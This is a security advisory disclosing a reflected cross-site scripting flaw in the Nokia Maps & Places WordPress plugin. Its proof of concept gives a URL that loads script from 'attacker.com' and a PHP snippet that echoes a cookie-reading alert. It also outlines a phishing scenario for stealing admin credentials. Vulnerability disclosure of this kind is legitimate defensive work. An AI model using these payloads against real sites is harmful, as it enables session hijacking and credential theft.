Document Title:

==========

Nokia Maps & Places wordpress plugin v < 1.6.6 : Reflected Cross Site Scripting Web Vulnerability

Release Date:

==========

2014-01-18

Product & Service Introduction:

==========

With Nokia Maps & Places plugin you can easily add places and addresses into your WordPress posts or pages.

Version: latest version (1.6.6)

(Copy of the Vendor Homepage: http://wordpress.org/plugins/nokia-mapsplaces/)

Abstract Advisory Information:

==========

The Vulnerability Laboratory discovered multiple client-side cross site scripting web vulnerabilities in the Nokia Maps & Places plugin.

Exploitation Technique:

==========

Remote

Severity Level:

==========

Medium

Technical Details & Description:

==========

A client-side cross site scripting web vulnerability is detected in the Nokia Maps & places wordpress plugin

The non-persistent cross site scripting web vulnerability allows an attacker to manipulate client side web application to browser GET method requests.

The vulnerability is located in the `href` value in index.php of the list GET method request. Remote attackers are able to manipulate the name value to execute client-side script code (application-side).

Exploitation of the vulnerability requires no privileged application user account but low or medium user interaction. Successful exploitation of the vulnerability results in session hijacking, client-side phishing, client-side external redirects or malware loads and client-side manipulation of the vulnerable module context.

Request Method(s):

[+] [GET]

Vulnerable Plugin & Parameter(s):

[+] Plugin name: nokia-mapsplaces (wordpress plugin)

[+] Parameter name : href  in index.php

Proof of Concept (PoC):

==========

The client-side cross site scripting web vulnerability can be exploited by remote attackers without privileged application user account and with low or medium user interaction. For demonstration or reproduce ...

Standard: GET

http://localhost/wp-content/plugins/nokia-mapsplaces/page/place.html?placeid&href=http//www.site.com

PoC: GET

http://localhost/wp-content/plugins/nokia-mapsplaces/page/place.html?href=http//attacker.com/index.php

step 1: setup a local server

step 2 : create index.php

```
<?php
    echo "alert(document.cookie);";
?>
```

step 3: call http://localhost/wp-content/plugins/nokia-mapsplaces/page/place.html?href=http//attacker.com/index.php

voila!!!!!!!

Vulnerable Code:  Index.php

==========

```
<meta http-equiv="content-type" content="text/html; charset=utf-8">
    <meta http-equiv="X-UA-Compatible" content="IE=edge" />
    <!--Insert core js and stylesheets -->
```

```
    <link rel="stylesheet" type="text/css" media="all" href="<?php echo get_option('siteurl') ?>/wp-content/plugins/nokia-mapsplaces/page/css/jquery-ui-1.8.16.custom.css" />
    <link rel="stylesheet" type="text/css" media="all" href="<?php echo get_option('siteurl') ?>/wp-content/plugins/nokia-mapsplaces/page/css/general.css" />
    <link rel="stylesheet" type="text/css" media="all" href="<?php echo get_option('siteurl') ?>/wp-content/plugins/nokia-mapsplaces/page/css/disableOptions.css" />
                    <link rel="stylesheet" type="text/css" media="all" href="<?php echo get_option('siteurl') ?>/wp-content/plugins/nokia-mapsplaces/page/css/wordpress.css" />
```

Solution - Fix & Patch:

==========

The vulnerability can be patched by a secure parse and encode of the href value parameter.

Impact: Real World Scenario

==========

It is possible to conduct phishing attacks with this vulnerability.

Eg: An attacker can steal the wordpress credentials by creating wordpress admin login page in javascript and hosting it on the attacker site, tricking victim to enter credentials to our malicious page.

Credits & Authors:

==========

Puneeth Gowda